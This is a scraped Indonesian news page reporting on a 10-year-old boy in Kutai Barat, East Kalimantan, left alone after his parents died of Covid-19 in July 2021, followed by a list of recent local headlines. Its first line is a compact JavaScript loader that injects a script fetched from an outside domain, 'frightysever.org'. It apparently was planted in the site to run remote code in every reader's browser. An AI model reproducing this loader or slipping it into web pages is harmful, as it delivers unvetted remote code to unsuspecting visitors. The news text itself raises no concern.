(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Orangtua Meninggal Akibat Covid-19, Bocah 10 Tahun Asal Kaltim Harus Hidup Sendiri


KANALKALIMANTAN.COM, KUBAR– Aldiano Dafa Raharjo, atau nama panggilannya Vino. Usianya masih belia, 10 tahun. Kenyataan pahit harus diterima Vino, lantaran kedua orang tuanya meninggal akibat terpapar Covid-19.

Vino dan keluarga tinggal di Kampung Linggang Purworejo, Kecamatan Tering, Kabupaten Kutai Barat (Kubar). Almarhum ayahanda Vino, Kino Raharjo (31) bekerja sebagai penjual pentol keliling. Sedangkan almarhumah ibunda Vino, Lina Sapitri (32) hanya seorang ibu rumah tangga biasa, yang rutin membantu suaminya untuk persiapan berjualan.

Menurut Mistari, seluruh keluarga Vino terkonfirmasi Covid-19. Almarhum ayahanda Vino lebih dulu terpapar, kemudian disusul oleh almarhumah istrinya, lalu Vino.
Diketahui pula, pihak keluarga dan puskesmas terdekat berusaha agar almarhumah ibu Vino bisa dirawat di rumah sakit Harapan Insan Sendawar (HIS), Kubar. Lantaran tengah mengandung anak keduanya.

“Untuk penanganan sang bayi, karena kandungannya sudah berjalan 5 atau 6 bulan,” kata Mistari, saat dikonfirmasi melalui aplikasi pesan instan, Rabu (21/07/2021) malam.

 

 

Baca juga: WASPADA. Rekor Baru Covid-19 Kalsel Hari Ini Tembus 650 Orang, Banjarmasin Sumbang 245 Kasus!

Namun naas, usaha yang dilakukan tak membuahkan hasil. Sang ibu beserta kandungannya tak terselamatkan. Ibu Vino meninggal Senin (19/07/2021). Kemudian sang ayah menyusul pada Selasa (20/07/2021).

Vino awalnya tak mengetahui kepergian kedua orang tuanya. Butuh waktu beberapa hari untuk Vino tahu, lantaran dirinya juga sedang melakukan isolasi mandiri (Isoman) di rumah.

“Saat tahu, dia (Vino) sedih banget. Kita juga,” sambung Mistari.

Vino kecil cuma bisa pasrah. Berusaha tegar dan tetap melakukan isoman. Pamannya, yang merupakan kakak dari almarhum ayahnya, hanya bisa menemani dari luar pintu.

Kata Mistari, setiap hari paman Vino berjaga dari luar rumah. Ia pun tak sendiri, rekan-rekan komunitas pentol di Kampung Linggang Purworejo juga menemani. (suara.com)

Editor: suara


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.